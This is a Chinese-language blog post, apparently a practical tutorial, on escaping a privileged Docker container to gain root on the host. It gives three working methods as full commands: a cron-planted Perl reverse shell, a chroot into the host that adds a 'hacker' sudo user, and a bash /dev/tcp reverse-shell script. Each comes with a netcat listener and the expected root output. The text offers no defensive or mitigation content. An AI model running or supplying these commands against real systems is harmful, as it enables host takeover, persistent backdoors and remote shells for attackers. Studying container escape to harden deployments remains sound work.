Loading ...
Docker 特权模式逃逸

特权模式逃逸原理与前提

核心原理

当 Docker 容器以 --privileged 模式启动时,容器内的 root 用户获得与宿主机 root 几乎等同的权限,可直接访问宿主机设备、挂载磁盘分区,绕过 Namespace 和 Cgroup 隔离,实现对宿主机文件系统的完全控制,进而通过多种方式逃逸获取宿主机权限。

前提条件

  1. 容器以特权模式启动:docker run --rm --privileged -it [镜像名]--privileged 是关键)。

  2. 宿主机根分区已挂载到容器内路径(如 /host),可通过 mount /dev/sda1 /host 完成挂载(/dev/sda1 为宿主机根分区设备,需通过 fdisk -l 确认)。

三种实战逃逸方法详解

方法一:通过定时任务写入 Perl 反向 Shell

操作步骤(容器内执行)

  1. 写入定时任务:向宿主机root用户的定时任务文件添加 Perl 反向 Shell 命令,每分钟执行一次:

    echo $'*/1 * * * * perl -e \'use Socket;$i="192.168.226.133";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /host/var/spool/cron/crontabs/root  
  2. 修复权限:确保定时任务文件权限为600(cron服务要求):

    chmod 600 /host/var/spool/cron/crontabs/root  
  3. 验证任务写入:检查宿主机定时任务文件内容及权限:

    cat /host/var/spool/cron/crontabs/root  # 确认命令已写入  
    ls -l /host/var/spool/cron/crontabs/root  # 权限应为 -rw-------  

触发与验证(攻击机执行)

在攻击机启动端口监听,等待宿主机定时任务触发连接:

nc -lvvp 1234  
  • 成功标志:监听端收到来自宿主机的连接,显示 uid=0(root) 信息,可执行 hostname 等命令(如返回 lang-virtual-machine)。

方法二:通过 chroot 切换根目录添加 sudo 用户

操作步骤(容器内执行)

  1. 切换到宿主机根目录:使用chroot 命令将当前环境切换为宿主机文件系统:

    chroot /host  
  2. 创建新用户并赋予权限:在宿主机直接创建hacker用户,并添加到sudo组(获得管理员权限):

    adduser hacker  # 按提示设置密码  
    usermod -aG sudo hacker  # 加入 sudo 组  

验证(宿主机执行)

  1. 切换到 hacker 用户:su hacker(输入密码)。

  2. 确认权限:执行 id 显示 uid=1002(hacker) gid=1002(hacker) 组=1002(hacker),27(sudo),表明具备 sudo 权限。

  3. 测试管理员权限:sudo passwd root 可成功修改 root 密码,验证逃逸成功。

方法三:直接执行脚本反弹 Shell(立即触发)

操作步骤(容器内执行)

  1. 创建反弹脚本:在宿主机/tmp目录生成可执行的反向 Shell 脚本:

    echo '#!/bin/bash' > /host/tmp/escape.sh  # 脚本声明  
    echo 'bash -i >& /dev/tcp/192.168.226.133/1234 0>&1' >> /host/tmp/escape.sh  # 反向连接命令  
  2. 赋予执行权限:

    chmod +x /host/tmp/escape.sh  
  3. 立即执行脚本:调用宿主机bash直接运行脚本,无需等待定时任务:

    /host/bin/bash /host/tmp/escape.sh  

触发与验证(攻击机执行)

攻击机启动监听:

nc -lvvp 1234  
  • 成功标志:立即收到宿主机连接,执行 id 显示 uid=0(root),直接获取 root 权限。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇